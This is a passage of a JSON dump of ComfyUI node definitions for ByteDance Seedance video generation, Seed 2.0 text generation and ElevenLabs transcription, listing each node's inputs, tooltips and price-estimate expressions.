["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "first_frame", "last_frame", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceFirstLastFrameNode", "display_name": "ByteDance First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageReferenceNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "images": ["IMAGE", {"tooltip": "One to four images."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "images", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageReferenceNode", "display_name": "ByteDance Reference Images to Video", "description": "Generate video using prompt and reference images.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $minCost := $min10s * $scale;\n $maxCost := $max10s * $scale;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2TextToVideoNode", "display_name": "ByteDance Seedance 2.0 Text to Video", "description": "Generate video using Seedance 2.0 models based on a text prompt.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2FirstLastFrameNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "optional": {"first_frame": ["IMAGE", {"tooltip": "First frame image for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame image for the video."}], "first_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the first frame. Mutually exclusive with the first_frame image input.", "default": "", "multiline": false}], "last_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the last frame. Mutually exclusive with the last_frame image input.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "optional": ["first_frame", "last_frame", "first_frame_asset_id", "last_frame_asset_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2FirstLastFrameNode", "display_name": "ByteDance Seedance 2.0 First-Last-Frame to Video", "description": "Generate video using Seedance 2.0 from a first frame image and optional last frame image.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2ReferenceNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2ReferenceNode", "display_name": "ByteDance Seedance 2.0 Reference to Video", "description": "Generate, edit, or extend video using Seedance 2.0 with reference images, videos, and audio. Supports multimodal reference, video editing, and video extension.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": ["model.reference_videos"]}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $hasVideo := $lookup(inputGroups, \"model.reference_videos\") > 0;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $noVideoPricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $videoPricePer1K := $res = \"4k\" ? 0.003432 :\n $res = \"1080p\" ? 0.006721 :\n $contains($m, \"fast\") ? 0.004719 : 0.006149;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $noVideoCost := $dur * $rate * $noVideoPricePer1K / 1000;\n $minVideoFactor := $ceil($dur * 5 / 3);\n $minVideoCost := $minVideoFactor * $rate * $videoPricePer1K / 1000;\n $maxVideoCost := (15 + $dur) * $rate * $videoPricePer1K / 1000;\n $hasVideo\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $minVideoCost,\n \"max_usd\": $maxVideoCost,\n \"format\": {\"approximate\": true}\n }\n : {\n \"type\": \"usd\",\n \"usd\": $noVideoCost,\n \"format\": {\"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateImageAsset": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateImageAsset", "display_name": "ByteDance Create Image Asset", "description": "Create a Seedance 2.0 personal image asset. Uploads the input image and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateVideoAsset": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Video to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["video", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateVideoAsset", "display_name": "ByteDance Create Video Asset", "description": "Create a Seedance 2.0 personal video asset. Uploads the input video and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Seed model used to generate the response.", "options": [{"key": "Seed 2.0 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Mini", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedNode", "display_name": "ByteDance Seed", "description": "Generate text responses with ByteDance's Seed 2.0 models. Provide a text prompt and optionally one or more images or videos for multimodal context.", "python_module": "comfy_api_nodes.nodes_bytedance_llm", "category": "partner/text/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0009],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0005, 0.003],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "ElevenLabsSpeechToText": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to transcribe."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for transcription.", "options": [{"key": "scribe_v2", "inputs": {"required": {"tag_audio_events": ["BOOLEAN", {"tooltip": "Annotate sounds like (laughter), (music), etc. in transcript.", "default": false}], "diarize": ["BOOLEAN", {"tooltip": "Annotate which speaker is talking.", "default": false}], "diarization_threshold": ["FLOAT", {"tooltip": "Speaker separation sensitivity. Lower values are more sensitive to speaker changes.", "default": 0.22, "min": 0.1, "max": 0.4, "step": 0.01, "display": "slider"}], "temperature": ["FLOAT", {"tooltip": "Randomness control. 0.0 uses model default. Higher values increase randomness.", "default": 0.0, "min": 0.0, "max": 2.0, "step": 0.01, "display": "slider"}], "timestamps_granularity": ["COMBO", {"tooltip": "Timing precision for transcript words.", "default": "word", "multiselect": false, "options": ["word", "character", "none"]}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "num_speakers": ["INT", {"tooltip": "Maximum number of speakers to predict. Set to 0 for automatic detection.", "default": 0, "min": 0, "max": 32, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}]}, "hidden": {"auth_token_comfy_org": 